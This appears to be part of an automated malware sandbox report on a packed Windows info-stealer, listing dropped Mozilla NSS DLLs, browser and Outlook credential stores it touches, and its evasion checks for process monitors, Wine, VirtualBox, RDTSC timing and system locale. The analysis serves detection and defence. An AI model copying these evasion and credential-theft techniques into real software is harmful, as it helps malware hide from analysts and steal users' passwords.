Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1871360038.00000000293E1000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4	0_2_008AC0C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E	0_2_0097F98E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097C2BA	0_2_0097C2BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A553D6	0_2_00A553D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00984B1A	0_2_00984B1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00958B6E	0_2_00958B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098649B	0_2_0098649B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00981440	0_2_00981440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098DC42	0_2_0098DC42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083ADA0	0_2_0083ADA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009795FE	0_2_009795FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A89DD5	0_2_00A89DD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098B572	0_2_0098B572
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00972E1C	0_2_00972E1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AA644	0_2_008AA644
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00982E71	0_2_00982E71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097A7E2	0_2_0097A7E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00968F55	0_2_00968F55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00992768	0_2_00992768

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 005B45C0 appears 316 times

Source: file.exe, 00000000.00000002.1953025681.000000006C865000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1953171507.000000006F902000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: lhxxzjli ZLIB complexity 0.9950071022727273

Source: file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1705858455.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005C9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_005C3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\WZVXR3Q1.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1793381558.000000001D108000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952622206.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1845760 > 1048576

Source: file.exe

Static PE information: Raw size of lhxxzjli is bigger than: 0x100000 < 0x19c800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1953129003.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1952928624.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1953129003.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.5b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lhxxzjli:EW;rasevotn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lhxxzjli:EW;rasevotn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005C9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c86a0 should be: 0x1cbf8e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: lhxxzjli
Source: file.exe	Static PE information: section name: rasevotn
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A2900 push esi; mov dword ptr [esp], eax	0_2_009A2904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EF085 push eax; mov dword ptr [esp], ecx	0_2_009EF1E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0208E push ecx; mov dword ptr [esp], edx	0_2_00A020AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0208E push edi; mov dword ptr [esp], 62312C52h	0_2_00A020B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0208E push edi; mov dword ptr [esp], ecx	0_2_00A0210D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0208E push 74544263h; mov dword ptr [esp], edi	0_2_00A02149
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3709B push 1A1715C9h; mov dword ptr [esp], ebx	0_2_00A3717B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A298EE push ebp; mov dword ptr [esp], 55D784EEh	0_2_00A2993B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push 5C14E077h; mov dword ptr [esp], eax	0_2_008AC0E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push 4C37637Eh; mov dword ptr [esp], edi	0_2_008AC1A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push edx; mov dword ptr [esp], 7DD306C5h	0_2_008AC1A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push 6FC1DB6Bh; mov dword ptr [esp], edx	0_2_008AC1D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push ecx; mov dword ptr [esp], edx	0_2_008AC22A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push eax; mov dword ptr [esp], esi	0_2_008AC22E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC0C4 push ecx; mov dword ptr [esp], ebx	0_2_008AC232
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CB035 push ecx; ret	0_2_005CB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A48021 push ecx; mov dword ptr [esp], ebx	0_2_00A48046
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00993000 push 34330860h; mov dword ptr [esp], esi	0_2_0099301D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A14007 push 357CEC7Ah; mov dword ptr [esp], eax	0_2_00A1402B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A14007 push 4D4F2EE4h; mov dword ptr [esp], edx	0_2_00A1404B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C1844 push 4B77D9B7h; mov dword ptr [esp], ebx	0_2_009C184C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088F980 push esi; mov dword ptr [esp], edx	0_2_0088F996
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088F980 push 72BDC1CDh; mov dword ptr [esp], ebx	0_2_0088FA14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099298E push eax; mov dword ptr [esp], 37FDCB40h	0_2_009929AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push 751B4FA7h; mov dword ptr [esp], ebx	0_2_0097F997
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push 6CE7AC4Fh; mov dword ptr [esp], ebp	0_2_0097FA3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push ebp; mov dword ptr [esp], esi	0_2_0097FA3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push esi; mov dword ptr [esp], ecx	0_2_0097FA63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push 3A0A9910h; mov dword ptr [esp], edx	0_2_0097FBC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push edi; mov dword ptr [esp], eax	0_2_0097FBC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097F98E push eax; mov dword ptr [esp], ebp	0_2_0097FBEE

Source: file.exe

Static PE information: section name: lhxxzjli entropy: 7.953160734524551

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_005C9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13501

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993043 second address: 993049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993049 second address: 993052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993052 second address: 99305A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99305A second address: 99305F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976EAF second address: 976EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991F7B second address: 991F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA1A50F8707h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991F96 second address: 991F9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992261 second address: 992267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992267 second address: 99226B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99226B second address: 992279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FA1A50F8702h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992279 second address: 99227F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99227F second address: 9922A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FA1A50F8718h 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jng 00007FA1A50F86F6h 0x00000017 jp 00007FA1A50F86F6h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9922A0 second address: 9922A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9925C7 second address: 9925CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9925CB second address: 9925CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
